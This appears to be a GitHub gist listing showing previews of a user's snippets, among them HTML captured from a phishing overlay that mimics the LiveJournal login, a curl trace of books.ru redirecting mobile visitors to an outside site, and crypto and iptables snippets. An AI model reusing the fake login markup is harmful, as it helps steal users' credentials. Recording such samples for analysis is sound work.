Skip to content

Instantly share code, notes, and snippets.

View dimmaq's full-sized avatar

Dmitrij dimmaq

  • Earth, Russia, Moscow
View GitHub Profile
@dimmaq
dimmaq / gist:880048
Created March 21, 2011 19:34
Код от Студиисамизнаетекого
<?
/**
* (c) 2010 ArtLebedev Studio
*/
/**
* Конфигурация мини-приложения
*/
define('ALS_VTB20_CONGRATS_FORM_ACTION', SITE_TEMPLATE_PATH . '/_congrats.php');
@dimmaq
dimmaq / fish.html
Created January 15, 2012 10:52
Фишинг в ЖЖ
<div class="b-fader" style="top: 0px; left: 0px; width: 100%; height: 100%; background-color: #fff; text-align: center; z-index: 99999; opacity: 1;"><div style="overflow: hidden; height: 130px;"><div style="background: url('http://l-stat.livejournal.com/lanzelot/img/10years/10years-over-bg.jpg') no-repeat scroll 0 0 #102446; height: 130px;"> <h1 style="background: url('http://l-stat.livejournal.com/lanzelot/img/10years/10years-over-logo.gif?v=1') no-repeat scroll 0 0 transparent; height: 130px; margin: 0px; width: 246px; float: left;"> <a href="http://www.livejournal.com" style="text-indent: -9999px; float: left; width: 246px; height: 130px;">LiveJournal.com</a> </h1><div class="options" style="float: right; display: table; height: 130px;"> <div class="login-tl" style="display: table-cell; vertical-align: middle;"><div class="login-br"><div class="login-tr"><div class="login-bl"> <form name="login" method="post" action="http://127.0.0.1/index.php"> <input type="hidden" value="login" name="mode"> <table class=
@dimmaq
dimmaq / gist:4220435
Created December 5, 2012 23:21
вирус на Books.ru
mat@vmachine:~$ curl -I -A Android www.books.ru/
HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Wed, 05 Dec 2012 23:19:57 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Powered-By: PHP/5.3.14-1~dotdeb.0
Location: http://ihtaccess.ru/?10&source=books.ru
mat@vmachine:~$ curl -I -A Android "http://ihtaccess.ru/?10&source=books.ru"
@dimmaq
dimmaq / gist:4292415
Created December 15, 2012 09:53
Сбербанк *facepalm*
Delivery has failed to these recipients or distribution lists:
[email protected]
The recipient's mailbox is full and can't accept messages now. Microsoft Exchange will not try to redeliver this message for you. Please try resending this message later, or contact the recipient directly.
Sent by Microsoft Exchange Server 2007
@dimmaq
dimmaq / gist:4378919
Created December 26, 2012 08:34
Diffie-Hellman DH test on Python
Python 3.2.3 (default, Oct 19 2012, 19:53:16)
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> g=2
>>> p=3249307499
>>> import random
>>> a=random.randint(10000,99999)
>>> b=random.randint(10000,99999)
>>> A = g**a % p
>>> B = g**b % p
@dimmaq
dimmaq / project2.dpr
Last active December 29, 2015 23:59
ok
program Project2;
{$APPTYPE CONSOLE}
uses System.SysUtils;
var L: string;
procedure Test(const A: string);
var S: string;
@dimmaq
dimmaq / main.go
Created October 31, 2017 06:52
CryptoPass - pkdf2 password generator
package main
import (
"crypto/sha256"
"encoding/base64"
"fmt"
"golang.org/x/crypto/pbkdf2"
)
mat@vpntest:~$ cat /etc/sockstables.sh
# clear tables
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
# vpn
iptables -A INPUT -p tcp --dport 1723 -j ACCEPT
iptables -A INPUT -p gre -j ACCEPT
mat@vpntest:~$ cat /etc/sockstables.sh
# clear tables
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
# vpn
iptables -A INPUT -p tcp --dport 1723 -j ACCEPT
iptables -A INPUT -p gre -j ACCEPT